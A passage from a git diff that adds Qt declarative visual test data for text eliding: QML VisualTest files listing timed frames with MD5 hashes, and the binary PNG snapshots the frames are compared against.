+ Frame {
+ msec: 2064
+ hash: "31bf9784a1e1b84cc0ed4a342284ce1a"
+ }
+ Frame {
+ msec: 2080
+ hash: "59db6dabc6c6930b9561bc906f49cc3c"
+ }
+ Frame {
+ msec: 2096
+ hash: "59db6dabc6c6930b9561bc906f49cc3c"
+ }
+ Frame {
+ msec: 2112
+ hash: "59db6dabc6c6930b9561bc906f49cc3c"
+ }
+ Frame {
+ msec: 2128
+ hash: "59db6dabc6c6930b9561bc906f49cc3c"
+ }
+ Frame {
+ msec: 2144
+ hash: "9e9cd1f4b9ad0980d6601e52c3d21402"
+ }
+ Frame {
+ msec: 2160
+ hash: "9e9cd1f4b9ad0980d6601e52c3d21402"
+ }
+ Frame {
+ msec: 2176
+ hash: "9e9cd1f4b9ad0980d6601e52c3d21402"
+ }
+ Frame {
+ msec: 2192
+ hash: "9e9cd1f4b9ad0980d6601e52c3d21402"
+ }
+ Frame {
+ msec: 2208
+ hash: "f8e23813215634224d2fb00f3d1993c5"
+ }
+ Frame {
+ msec: 2224
+ hash: "f8e23813215634224d2fb00f3d1993c5"
+ }
+ Frame {
+ msec: 2240
+ hash: "f8e23813215634224d2fb00f3d1993c5"
+ }
+ Frame {
+ msec: 2256
+ hash: "f8e23813215634224d2fb00f3d1993c5"
+ }
+ Frame {
+ msec: 2272
+ hash: "f8e23813215634224d2fb00f3d1993c5"
+ }
+ Frame {
+ msec: 2288
+ hash: "e867db62cb8ec10228ea7b2eceda3723"
+ }
+ Frame {
+ msec: 2304
+ hash: "e867db62cb8ec10228ea7b2eceda3723"
+ }
+ Frame {
+ msec: 2320
+ hash: "e867db62cb8ec10228ea7b2eceda3723"
+ }
+ Frame {
+ msec: 2336
+ hash: "e867db62cb8ec10228ea7b2eceda3723"
+ }
+ Frame {
+ msec: 2352
+ hash: "36da8cc7019fae8b1abc877961d3af41"
+ }
+ Frame {
+ msec: 2368
+ hash: "36da8cc7019fae8b1abc877961d3af41"
+ }
+ Frame {
+ msec: 2384
+ hash: "36da8cc7019fae8b1abc877961d3af41"
+ }
+ Frame {
+ msec: 2400
+ hash: "36da8cc7019fae8b1abc877961d3af41"
+ }
+ Frame {
+ msec: 2416
+ hash: "36da8cc7019fae8b1abc877961d3af41"
+ }
+ Frame {
+ msec: 2432
+ hash: "ea907beaf860fa21684fc524e876346c"
+ }
+ Frame {
+ msec: 2448
+ hash: "ea907beaf860fa21684fc524e876346c"
+ }
+ Frame {
+ msec: 2464
+ hash: "ea907beaf860fa21684fc524e876346c"
+ }
+ Frame {
+ msec: 2480
+ hash: "ea907beaf860fa21684fc524e876346c"
+ }
+ Frame {
+ msec: 2496
+ hash: "2b3eb80e842df2fa2b6c217a2948af45"
+ }
+ Frame {
+ msec: 2512
+ hash: "2b3eb80e842df2fa2b6c217a2948af45"
+ }
+ Frame {
+ msec: 2528
+ hash: "2b3eb80e842df2fa2b6c217a2948af45"
+ }
+ Frame {
+ msec: 2544
+ hash: "2b3eb80e842df2fa2b6c217a2948af45"
+ }
+ Frame {
+ msec: 2560
+ hash: "05ffb4d0af3fea65151596ea5b9b43c5"
+ }
+ Frame {
+ msec: 2576
+ hash: "05ffb4d0af3fea65151596ea5b9b43c5"
+ }
+ Frame {
+ msec: 2592
+ hash: "05ffb4d0af3fea65151596ea5b9b43c5"
+ }
+ Frame {
+ msec: 2608
+ hash: "05ffb4d0af3fea65151596ea5b9b43c5"
+ }
+ Frame {
+ msec: 2624
+ hash: "05ffb4d0af3fea65151596ea5b9b43c5"
+ }
+ Frame {
+ msec: 2640
+ hash: "612517436b6ef76f29b213944f742624"
+ }
+ Frame {
+ msec: 2656
+ hash: "612517436b6ef76f29b213944f742624"
+ }
+ Frame {
+ msec: 2672
+ hash: "612517436b6ef76f29b213944f742624"
+ }
+ Frame {
+ msec: 2688
+ hash: "612517436b6ef76f29b213944f742624"
+ }
+ Frame {
+ msec: 2704
+ hash: "a62c646572c94d55971445c0546e06fc"
+ }
+ Frame {
+ msec: 2720
+ hash: "a62c646572c94d55971445c0546e06fc"
+ }
+ Frame {
+ msec: 2736
+ hash: "a62c646572c94d55971445c0546e06fc"
+ }
+ Frame {
+ msec: 2752
+ hash: "a62c646572c94d55971445c0546e06fc"
+ }
+ Frame {
+ msec: 2768
+ hash: "91be655836fbf7f811a44ffa1e80b72a"
+ }
+ Frame {
+ msec: 2784
+ hash: "91be655836fbf7f811a44ffa1e80b72a"
+ }
+ Frame {
+ msec: 2800
+ hash: "91be655836fbf7f811a44ffa1e80b72a"
+ }
+ Frame {
+ msec: 2816
+ hash: "91be655836fbf7f811a44ffa1e80b72a"
+ }
+ Frame {
+ msec: 2832
+ hash: "91be655836fbf7f811a44ffa1e80b72a"
+ }
+ Frame {
+ msec: 2848
+ hash: "4fdf23d15633bd9dbcc1767fca797ef6"
+ }
+ Frame {
+ msec: 2864
+ hash: "4fdf23d15633bd9dbcc1767fca797ef6"
+ }
+ Frame {
+ msec: 2880
+ hash: "4fdf23d15633bd9dbcc1767fca797ef6"
+ }
+ Frame {
+ msec: 2896
+ image: "elide2.3.png"
+ }
+ Frame {
+ msec: 2912
+ hash: "a81f41ab4e100d92f643ae188c1a5b8a"
+ }
+ Frame {
+ msec: 2928
+ hash: "a81f41ab4e100d92f643ae188c1a5b8a"
+ }
+ Frame {
+ msec: 2944
+ hash: "a81f41ab4e100d92f643ae188c1a5b8a"
+ }
+ Frame {
+ msec: 2960
+ hash: "a81f41ab4e100d92f643ae188c1a5b8a"
+ }
+ Frame {
+ msec: 2976
+ hash: "a81f41ab4e100d92f643ae188c1a5b8a"
+ }
+ Frame {
+ msec: 2992
+ hash: "6785dbb1bd05081c5b5d890d4b4f28d5"
+ }
+ Frame {
+ msec: 3008
+ hash: "6785dbb1bd05081c5b5d890d4b4f28d5"
+ }
+ Frame {
+ msec: 3024
+ hash: "6785dbb1bd05081c5b5d890d4b4f28d5"
+ }
+ Frame {
+ msec: 3040
+ hash: "6785dbb1bd05081c5b5d890d4b4f28d5"
+ }
+ Frame {
+ msec: 3056
+ hash: "ca4fc26d93d4767ef7cdbac6b2e24cf5"
+ }
+ Frame {
+ msec: 3072
+ hash: "ca4fc26d93d4767ef7cdbac6b2e24cf5"
+ }
+ Frame {
+ msec: 3088
+ hash: "ca4fc26d93d4767ef7cdbac6b2e24cf5"
+ }
+ Frame {
+ msec: 3104
+ hash: "ca4fc26d93d4767ef7cdbac6b2e24cf5"
+ }
+ Frame {
+ msec: 3120
+ hash: "706fd39d5945f9f698e7fa6e26631b58"
+ }
+ Frame {
+ msec: 3136
+ hash: "706fd39d5945f9f698e7fa6e26631b58"
+ }
+ Frame {
+ msec: 3152
+ hash: "706fd39d5945f9f698e7fa6e26631b58"
+ }
+ Frame {
+ msec: 3168
+ hash: "706fd39d5945f9f698e7fa6e26631b58"
+ }
+ Frame {
+ msec: 3184
+ hash: "706fd39d5945f9f698e7fa6e26631b58"
+ }
+ Frame {
+ msec: 3200
+ hash: "c4ed351cacc86b5ca2c8198be0a754e0"
+ }
+ Frame {
+ msec: 3216
+ hash: "c4ed351cacc86b5ca2c8198be0a754e0"
+ }
+ Frame {
+ msec: 3232
+ hash: "c4ed351cacc86b5ca2c8198be0a754e0"
+ }
+ Frame {
+ msec: 3248
+ hash: "c4ed351cacc86b5ca2c8198be0a754e0"
+ }
+ Frame {
+ msec: 3264
+ hash: "addbbaca2d29fbc8c7907d51a8e9cdce"
+ }
+ Frame {
+ msec: 3280
+ hash: "addbbaca2d29fbc8c7907d51a8e9cdce"
+ }
+ Frame {
+ msec: 3296
+ hash: "addbbaca2d29fbc8c7907d51a8e9cdce"
+ }
+ Frame {
+ msec: 3312
+ hash: "addbbaca2d29fbc8c7907d51a8e9cdce"
+ }
+ Frame {
+ msec: 3328
+ hash: "fcb6b78276df1a6c839d6f30f8fe6495"
+ }
+ Frame {
+ msec: 3344
+ hash: "fcb6b78276df1a6c839d6f30f8fe6495"
+ }
+ Frame {
+ msec: 3360
+ hash: "fcb6b78276df1a6c839d6f30f8fe6495"
+ }
+ Frame {
+ msec: 3376
+ hash: "fcb6b78276df1a6c839d6f30f8fe6495"
+ }
+ Frame {
+ msec: 3392
+ hash: "fcb6b78276df1a6c839d6f30f8fe6495"
+ }
+ Frame {
+ msec: 3408
+ hash: "b066cbbb00a4bef4e730ea8131c2bbe5"
+ }
+ Frame {
+ msec: 3424
+ hash: "b066cbbb00a4bef4e730ea8131c2bbe5"
+ }
+ Frame {
+ msec: 3440
+ hash: "b066cbbb00a4bef4e730ea8131c2bbe5"
+ }
+ Frame {
+ msec: 3456
+ hash: "b066cbbb00a4bef4e730ea8131c2bbe5"
+ }
+ Frame {
+ msec: 3472
+ hash: "e6d801e738ed3265b0127b79da7e8ec5"
+ }
+ Frame {
+ msec: 3488
+ hash: "e6d801e738ed3265b0127b79da7e8ec5"
+ }
+ Frame {
+ msec: 3504
+ hash: "e6d801e738ed3265b0127b79da7e8ec5"
+ }
+ Frame {
+ msec: 3520
+ hash: "e6d801e738ed3265b0127b79da7e8ec5"
+ }
+ Frame {
+ msec: 3536
+ hash: "e6d801e738ed3265b0127b79da7e8ec5"
+ }
+ Frame {
+ msec: 3552
+ hash: "5b9a527ce399d0467b29c8813bbc7e6a"
+ }
+ Frame {
+ msec: 3568
+ hash: "5b9a527ce399d0467b29c8813bbc7e6a"
+ }
+ Frame {
+ msec: 3584
+ hash: "5b9a527ce399d0467b29c8813bbc7e6a"
+ }
+ Frame {
+ msec: 3600
+ hash: "5b9a527ce399d0467b29c8813bbc7e6a"
+ }
+ Frame {
+ msec: 3616
+ hash: "e9dd6c70c22d7b100a07ee837add697b"
+ }
+ Frame {
+ msec: 3632
+ hash: "e9dd6c70c22d7b100a07ee837add697b"
+ }
+ Frame {
+ msec: 3648
+ hash: "e9dd6c70c22d7b100a07ee837add697b"
+ }
+ Frame {
+ msec: 3664
+ hash: "e9dd6c70c22d7b100a07ee837add697b"
+ }
+ Frame {
+ msec: 3680
+ hash: "92e553a6e8385ceba6804075e5ed6add"
+ }
+ Frame {
+ msec: 3696
+ hash: "92e553a6e8385ceba6804075e5ed6add"
+ }
+ Frame {
+ msec: 3712
+ hash: "92e553a6e8385ceba6804075e5ed6add"
+ }
+ Frame {
+ msec: 3728
+ hash: "92e553a6e8385ceba6804075e5ed6add"
+ }
+ Frame {
+ msec: 3744
+ hash: "92e553a6e8385ceba6804075e5ed6add"
+ }
+ Frame {
+ msec: 3760
+ hash: "eafdc541e5bb2937cc472511758bd494"
+ }
+ Frame {
+ msec: 3776
+ hash: "eafdc541e5bb2937cc472511758bd494"
+ }
+ Frame {
+ msec: 3792
+ hash: "eafdc541e5bb2937cc472511758bd494"
+ }
+ Frame {
+ msec: 3808
+ hash: "eafdc541e5bb2937cc472511758bd494"
+ }
+ Frame {
+ msec: 3824
+ hash: "3d207efb5d563ec0a8640091710aa9fd"
+ }
+ Frame {
+ msec: 3840
+ hash: "3d207efb5d563ec0a8640091710aa9fd"
+ }
+ Frame {
+ msec: 3856
+ image: "elide2.4.png"
+ }
+ Frame {
+ msec: 3872
+ hash: "3d207efb5d563ec0a8640091710aa9fd"
+ }
+ Frame {
+ msec: 3888
+ hash: "d837a68f291b44c8ea4b92088ebccb2c"
+ }
+ Frame {
+ msec: 3904
+ hash: "d837a68f291b44c8ea4b92088ebccb2c"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-X11/multilength.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-X11/multilength.0.png
new file mode 100644
index 00000000..f71c1aca
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-X11/multilength.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-X11/multilength.1.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-X11/multilength.1.png
new file mode 100644
index 00000000..ddd6cc58
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-X11/multilength.1.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-X11/multilength.2.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-X11/multilength.2.png
new file mode 100644
index 00000000..4679774b
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-X11/multilength.2.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-X11/multilength.3.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-X11/multilength.3.png
new file mode 100644
index 00000000..51018b43
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-X11/multilength.3.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-X11/multilength.4.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-X11/multilength.4.png
new file mode 100644
index 00000000..f5ed905f
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-X11/multilength.4.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-X11/multilength.5.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-X11/multilength.5.png
new file mode 100644
index 00000000..50057245
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-X11/multilength.5.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-X11/multilength.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-X11/multilength.qml
new file mode 100644
index 00000000..6e802f48
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-X11/multilength.qml
@@ -0,0 +1,1323 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "multilength.0.png"
+ }
+ Frame {
+ msec: 32
+ hash: "fde26fa3d17fb92d676afe61ca6a2170"
+ }
+ Frame {
+ msec: 48
+ hash: "54c7a0ea10fa212959dc4f7606c31f3c"
+ }
+ Frame {
+ msec: 64
+ hash: "e73c4521144b2c810f15239e6d8fa468"
+ }
+ Frame {
+ msec: 80
+ hash: "31a68bfd57846795db57bb30d1d60341"
+ }
+ Frame {
+ msec: 96
+ hash: "55edcaeed37c1390eee2619d52a2eb03"
+ }
+ Frame {
+ msec: 112
+ hash: "2c27d9c3dc215c68630495e255c1670e"
+ }
+ Frame {
+ msec: 128
+ hash: "b27dd9260f6da3ab414076e83bf5a2bd"
+ }
+ Frame {
+ msec: 144
+ hash: "bfcbba7e970af922ee87fbbe936eaa84"
+ }
+ Frame {
+ msec: 160
+ hash: "75af84ff6f21648737cef4a215410cc6"
+ }
+ Frame {
+ msec: 176
+ hash: "71fd1fe13a14632ff54ad7a87be68bca"
+ }
+ Frame {
+ msec: 192
+ hash: "69f553a1893403dc6fc82d3c9c47f501"
+ }
+ Frame {
+ msec: 208
+ hash: "9456b12d49cc2a1f9212dba98a83c8ab"
+ }
+ Frame {
+ msec: 224
+ hash: "cfd826f91f6f880816d505c93a8f125a"
+ }
+ Frame {
+ msec: 240
+ hash: "d8e3291525eff9f905102ed7654f986b"
+ }
+ Frame {
+ msec: 256
+ hash: "044c1f37e37a68fbfbb9ddbc2da4300a"
+ }
+ Frame {
+ msec: 272
+ hash: "d640cba5f14d9c065bec6f6c23f2831f"
+ }
+ Frame {
+ msec: 288
+ hash: "9e15b68dace4b39b937dfea8777ae503"
+ }
+ Frame {
+ msec: 304
+ hash: "7ea72711e3f8bdd1087181e127e093c7"
+ }
+ Frame {
+ msec: 320
+ hash: "c45dae8eb1768c8aba2d92dea4f268a2"
+ }
+ Frame {
+ msec: 336
+ hash: "181ebf6597be2d9e54c1d01a5ab54b46"
+ }
+ Frame {
+ msec: 352
+ hash: "094b6cc486b60882836a9ba35411ae7d"
+ }
+ Frame {
+ msec: 368
+ hash: "031f1bcb864b4507bf93caab88756317"
+ }
+ Frame {
+ msec: 384
+ hash: "42b4d89a1026327f180ecc414dcd0ef0"
+ }
+ Frame {
+ msec: 400
+ hash: "a99c5d1d434687e2f16e7054bcff8a69"
+ }
+ Frame {
+ msec: 416
+ hash: "91cf18d3f8538ee8550f7e190911b072"
+ }
+ Frame {
+ msec: 432
+ hash: "1c11a328d74bc7bf77da10f094db8d4a"
+ }
+ Frame {
+ msec: 448
+ hash: "e4da6dc99c962e8f37dc8d99669616d0"
+ }
+ Frame {
+ msec: 464
+ hash: "628d4c1455f58a304887050c0552499a"
+ }
+ Frame {
+ msec: 480
+ hash: "dd17a403f45bcd1001cb08e7f4ae8443"
+ }
+ Frame {
+ msec: 496
+ hash: "1ed042d0289fc6167143ddcd92f708f6"
+ }
+ Frame {
+ msec: 512
+ hash: "b55abb6249925cf06439b3177310dcfc"
+ }
+ Frame {
+ msec: 528
+ hash: "251c3346640a2aa7a9c18ca84ff2d5bb"
+ }
+ Frame {
+ msec: 544
+ hash: "6f5e18d84c4107213599b57bf7284c4b"
+ }
+ Frame {
+ msec: 560
+ hash: "2179c1d7d7acb3c2f6354b493cfe74e0"
+ }
+ Frame {
+ msec: 576
+ hash: "bbc757e8f3c08f93ffcdd68b392c8cdb"
+ }
+ Frame {
+ msec: 592
+ hash: "7eefd9c7291c1a23679efd42f2c29539"
+ }
+ Frame {
+ msec: 608
+ hash: "fa375510d3850614aebceb2bc31ab4de"
+ }
+ Frame {
+ msec: 624
+ hash: "f643c5ba39bb90f396f00c0a9df995c8"
+ }
+ Frame {
+ msec: 640
+ hash: "c6b7792f780b00b1b07c0ce948dff13b"
+ }
+ Frame {
+ msec: 656
+ hash: "d43d82ee9b0da8f237469c555b48bee8"
+ }
+ Frame {
+ msec: 672
+ hash: "addaa9d2aa8f54d6a4e82dc7e029f19d"
+ }
+ Frame {
+ msec: 688
+ hash: "b12af2fd05a1ccd4664c5093456bae01"
+ }
+ Frame {
+ msec: 704
+ hash: "982d3505c51fc1bac026c744e2d1db11"
+ }
+ Frame {
+ msec: 720
+ hash: "a67a0705ce893dcafdcfc3a7fe71f608"
+ }
+ Frame {
+ msec: 736
+ hash: "6e00f746695ca67fb4c4462740b13c8f"
+ }
+ Frame {
+ msec: 752
+ hash: "bc4235d556a1e18d591b9afd87b29826"
+ }
+ Frame {
+ msec: 768
+ hash: "830ebf4b9214f1dc31975c83cf49d31e"
+ }
+ Frame {
+ msec: 784
+ hash: "bac049ae3d6676db8bca99620c9f5bd3"
+ }
+ Frame {
+ msec: 800
+ hash: "0f9623c23e4e45126078c3c93015d26c"
+ }
+ Frame {
+ msec: 816
+ hash: "bedde76baa8905970ea5fa8da62355a6"
+ }
+ Frame {
+ msec: 832
+ hash: "018b9b1444d921b8cfd823265556c8f6"
+ }
+ Frame {
+ msec: 848
+ hash: "2be3e0693f54ffefd24e44f552d59e3f"
+ }
+ Frame {
+ msec: 864
+ hash: "c8c99f68125df2a1f41f6b44fdcc0406"
+ }
+ Frame {
+ msec: 880
+ hash: "3e18d6a24a1c6983f3f2ce984d22dbe4"
+ }
+ Frame {
+ msec: 896
+ hash: "aa336c4e5ace2b33689ca280de2299db"
+ }
+ Frame {
+ msec: 912
+ hash: "fd7245f879bbd72b6e72c563a588eea7"
+ }
+ Frame {
+ msec: 928
+ hash: "e484656517fcb5763c0c8992b22efe91"
+ }
+ Frame {
+ msec: 944
+ hash: "fbd58b050963fc7cdbd5ae89aa7a4a70"
+ }
+ Frame {
+ msec: 960
+ hash: "b47ad6fb8b364e3c2764bf31e62f21e0"
+ }
+ Frame {
+ msec: 976
+ image: "multilength.1.png"
+ }
+ Frame {
+ msec: 992
+ hash: "ac1a6692030ed80cd34c082ac70ea06e"
+ }
+ Frame {
+ msec: 1008
+ hash: "068a6b82a35d94e3db3eae772c7da56a"
+ }
+ Frame {
+ msec: 1024
+ hash: "8252bb45e74bc09e1d5e6b3951fbb08e"
+ }
+ Frame {
+ msec: 1040
+ hash: "a5d7ad9287238780cb45c61bb70d6cd4"
+ }
+ Frame {
+ msec: 1056
+ hash: "e0307f3a1193af0df0cd52d7dac44db9"
+ }
+ Frame {
+ msec: 1072
+ hash: "d649cf0c4a768dba1a0380b64bc7e48b"
+ }
+ Frame {
+ msec: 1088
+ hash: "3fd512a0860c17abbb6ed71488cd7255"
+ }
+ Frame {
+ msec: 1104
+ hash: "26032efe6efd1de4b5fae23ce4e28a0a"
+ }
+ Frame {
+ msec: 1120
+ hash: "846652a87d93e397d1a84b187b7aafea"
+ }
+ Frame {
+ msec: 1136
+ hash: "4dfdaa030da4c72a0e1a19bfd70b5856"
+ }
+ Frame {
+ msec: 1152
+ hash: "365ad99db7302dfe078f4283af13f5ca"
+ }
+ Frame {
+ msec: 1168
+ hash: "f378a096243bd2c6f7e33e0baf24716a"
+ }
+ Frame {
+ msec: 1184
+ hash: "e972a84715d314e8814cb7fcab1ad379"
+ }
+ Frame {
+ msec: 1200
+ hash: "8826dbafd12ba2a7437623c8967f2699"
+ }
+ Frame {
+ msec: 1216
+ hash: "effa889b33b97f665a21d6562acc45fc"
+ }
+ Frame {
+ msec: 1232
+ hash: "6ebb408651cf5fbb2fa8788e0ec544d6"
+ }
+ Frame {
+ msec: 1248
+ hash: "c4f45fd05b7b4f00acf80f768e99af38"
+ }
+ Frame {
+ msec: 1264
+ hash: "735a7c461f6b10cd967b03c173bfd81d"
+ }
+ Frame {
+ msec: 1280
+ hash: "608cf5ebac88726ffe7e66d763d74e27"
+ }
+ Frame {
+ msec: 1296
+ hash: "6322c5aebdf814bfc5bfaef8b6bb4d91"
+ }
+ Frame {
+ msec: 1312
+ hash: "730b7cef2e0cf57a4721e77e6849b862"
+ }
+ Frame {
+ msec: 1328
+ hash: "13879c0772938e39d820b6fc10e0f7e5"
+ }
+ Frame {
+ msec: 1344
+ hash: "0710bf8a2beff02009d4bb02f2404b7b"
+ }
+ Frame {
+ msec: 1360
+ hash: "2cd38c2cbf3d8b7eb3a50b9db4bb8f7f"
+ }
+ Frame {
+ msec: 1376
+ hash: "4e988a74a3846171f86d4d69ce3407d9"
+ }
+ Frame {
+ msec: 1392
+ hash: "82cc4b40fe1190de5a2cbbf3f11ac7b0"
+ }
+ Frame {
+ msec: 1408
+ hash: "f15bd345b992b39167165a640ad45794"
+ }
+ Frame {
+ msec: 1424
+ hash: "be5ca66da00327ecc9f5dde2aa3660d2"
+ }
+ Frame {
+ msec: 1440
+ hash: "f97a1e863c36477d31a78342c7aa21b7"
+ }
+ Frame {
+ msec: 1456
+ hash: "d137a2a6ae95aba3f7a2b2a0560718a5"
+ }
+ Frame {
+ msec: 1472
+ hash: "e7529db7cf310e41eb0ac42ab86ae317"
+ }
+ Frame {
+ msec: 1488
+ hash: "66914e90881a4a8751ba5391ac41a70b"
+ }
+ Frame {
+ msec: 1504
+ hash: "249863a5ef1a14ca0eb4397d206dfc1e"
+ }
+ Frame {
+ msec: 1520
+ hash: "26095384b724a5e704c7b627930f4e22"
+ }
+ Frame {
+ msec: 1536
+ hash: "98281eed5ae9d9f933e47a8fba8709f1"
+ }
+ Frame {
+ msec: 1552
+ hash: "d9b50c54255edb300e36af2648ef8f30"
+ }
+ Frame {
+ msec: 1568
+ hash: "9bde860d92f5ec979fa5c274fd1c13a1"
+ }
+ Frame {
+ msec: 1584
+ hash: "39c13a42f920f57d9f9fe85ebc4e68fa"
+ }
+ Frame {
+ msec: 1600
+ hash: "e80bd130bad05078212089586d6c2731"
+ }
+ Frame {
+ msec: 1616
+ hash: "753732b5309fd8dd7daa16761dd7dad0"
+ }
+ Frame {
+ msec: 1632
+ hash: "2eb56a98f728b224f7db073c6ea3c3b9"
+ }
+ Frame {
+ msec: 1648
+ hash: "21ab167d173e244ffb471faddf704e81"
+ }
+ Frame {
+ msec: 1664
+ hash: "9964a0386ae349b909424f588d8decf5"
+ }
+ Frame {
+ msec: 1680
+ hash: "cee42f46df4c879fa6fc378481ec728c"
+ }
+ Frame {
+ msec: 1696
+ hash: "4779aeed276cbe4112484d189d1baf8b"
+ }
+ Frame {
+ msec: 1712
+ hash: "d482cd14db734f5fed2eaec7d8c0c555"
+ }
+ Frame {
+ msec: 1728
+ hash: "1f8b0681711c46afcf8af66df6d7caf8"
+ }
+ Frame {
+ msec: 1744
+ hash: "44b0e6d69fcd2b7acb499dfdfced026b"
+ }
+ Frame {
+ msec: 1760
+ hash: "b6e25c4a276917b7f7f9189e65d965a8"
+ }
+ Frame {
+ msec: 1776
+ hash: "07e5da936f8d5c84606fcdc49fc6aca2"
+ }
+ Frame {
+ msec: 1792
+ hash: "f27a54a8d37ec62f54e083f1ca65aada"
+ }
+ Frame {
+ msec: 1808
+ hash: "074403259022efd08fcbd9d3a3052c79"
+ }
+ Frame {
+ msec: 1824
+ hash: "a126762087c8f94beef81216b6010f0c"
+ }
+ Frame {
+ msec: 1840
+ hash: "96b8c7cebbb9676ea4f028907de71bbf"
+ }
+ Frame {
+ msec: 1856
+ hash: "e6f073522d0af8e504fdb7df971f5e0a"
+ }
+ Frame {
+ msec: 1872
+ hash: "9223ed285f322fae3ba2b52afb408586"
+ }
+ Frame {
+ msec: 1888
+ hash: "b24575dd4c0b0da0b99a03c46209ed3a"
+ }
+ Frame {
+ msec: 1904
+ hash: "5c82bc860f64183e66aead451ee5b893"
+ }
+ Frame {
+ msec: 1920
+ hash: "3172ab9c62b0870d6894b13720e54918"
+ }
+ Frame {
+ msec: 1936
+ image: "multilength.2.png"
+ }
+ Frame {
+ msec: 1952
+ hash: "5f8e85839f9ac82f46a17f871c3fffbc"
+ }
+ Frame {
+ msec: 1968
+ hash: "245219fb6c4aa37d8cba7b5e1f74265f"
+ }
+ Frame {
+ msec: 1984
+ hash: "b68cfc5366c4ed8d1e5950a1facf0d85"
+ }
+ Frame {
+ msec: 2000
+ hash: "dd5c2d2470cc87d57d35ecc9ae8a3528"
+ }
+ Frame {
+ msec: 2016
+ hash: "1a15d7f02b35d046305b40f9e6a6839d"
+ }
+ Frame {
+ msec: 2032
+ hash: "d44c382ea28d429e6f8bbef9ae17338a"
+ }
+ Frame {
+ msec: 2048
+ hash: "63598cb09d5ecbeb991c6db778c5c002"
+ }
+ Frame {
+ msec: 2064
+ hash: "b3fcd0180ecd01e2ad0c0114b3dfbf78"
+ }
+ Frame {
+ msec: 2080
+ hash: "8d441044f5f10da23708d7ddf0472989"
+ }
+ Frame {
+ msec: 2096
+ hash: "6e87518a368c39d68521046773c2f922"
+ }
+ Frame {
+ msec: 2112
+ hash: "59e377ccc851ee361e3874ad5ec18e55"
+ }
+ Frame {
+ msec: 2128
+ hash: "57a9b0431c7db130bfe4d6603f98c1f5"
+ }
+ Frame {
+ msec: 2144
+ hash: "526c93727c6321782a373ea6952a8784"
+ }
+ Frame {
+ msec: 2160
+ hash: "fcd0a4605e27ecb0bac18686e7846b3b"
+ }
+ Frame {
+ msec: 2176
+ hash: "d697892f9944c67b5aadd7ad641e3ee5"
+ }
+ Frame {
+ msec: 2192
+ hash: "f46fd7e568d0995c518749ec0f5a0882"
+ }
+ Frame {
+ msec: 2208
+ hash: "31cd2243fb23d4332c02e91f9956f648"
+ }
+ Frame {
+ msec: 2224
+ hash: "3b29a9c0121ff127b69abba9c0b13c2c"
+ }
+ Frame {
+ msec: 2240
+ hash: "ecd789e744ebb5dee7f25ebb089407bf"
+ }
+ Frame {
+ msec: 2256
+ hash: "c99a6dfad8d750b7e67c1e3ef1021cbb"
+ }
+ Frame {
+ msec: 2272
+ hash: "82d18b0c193f0ada9cae68e9f6ad5ff5"
+ }
+ Frame {
+ msec: 2288
+ hash: "a09e8144b06db76f5849561d880f037e"
+ }
+ Frame {
+ msec: 2304
+ hash: "3e6922ca54c809a32ed5ef72e19d7ff0"
+ }
+ Frame {
+ msec: 2320
+ hash: "28e46da32bf34b3e1cd3d351e4c40317"
+ }
+ Frame {
+ msec: 2336
+ hash: "297aeeaadc5f3268d95320bc3b33a429"
+ }
+ Frame {
+ msec: 2352
+ hash: "31721528cdb17b03d3d6ca9f9a91370b"
+ }
+ Frame {
+ msec: 2368
+ hash: "52fd1721330321daaea0b56122a72e5b"
+ }
+ Frame {
+ msec: 2384
+ hash: "739c5179b9739021dbb522d01812388c"
+ }
+ Frame {
+ msec: 2400
+ hash: "4ae07f58d3a514f5c08f314c5dd445c4"
+ }
+ Frame {
+ msec: 2416
+ hash: "4305ea97d47bac3fb0eebf9181b3ce48"
+ }
+ Frame {
+ msec: 2432
+ hash: "21c99059dba068bc145896217cc0883c"
+ }
+ Frame {
+ msec: 2448
+ hash: "0a514ae5d36acc07c7809a7b4f21ed8e"
+ }
+ Frame {
+ msec: 2464
+ hash: "550ce887f462ace686bc6a9021c5cb73"
+ }
+ Frame {
+ msec: 2480
+ hash: "b65857dcfa0b1281dd5b9821a12dd8e8"
+ }
+ Frame {
+ msec: 2496
+ hash: "5a6bb448a570e1a3eef142b8054f3717"
+ }
+ Frame {
+ msec: 2512
+ hash: "b38e2f6b4063e1b8a40292017c5ed4ec"
+ }
+ Frame {
+ msec: 2528
+ hash: "fa7545e6e3fc92d62af2f7651077da5b"
+ }
+ Frame {
+ msec: 2544
+ hash: "ebf0c79720a5692b761b62c4ba360875"
+ }
+ Frame {
+ msec: 2560
+ hash: "cb5356376d97308a4d102c9a53e93abe"
+ }
+ Frame {
+ msec: 2576
+ hash: "879f434f4901bdcb166294336c60e26a"
+ }
+ Frame {
+ msec: 2592
+ hash: "3ab575ac04bdd455346c0460aed413a0"
+ }
+ Frame {
+ msec: 2608
+ hash: "8f08366cb474ca2a1988ebba9d65ecaa"
+ }
+ Frame {
+ msec: 2624
+ hash: "2939cf0235f98aeaf48b3f28964cdddd"
+ }
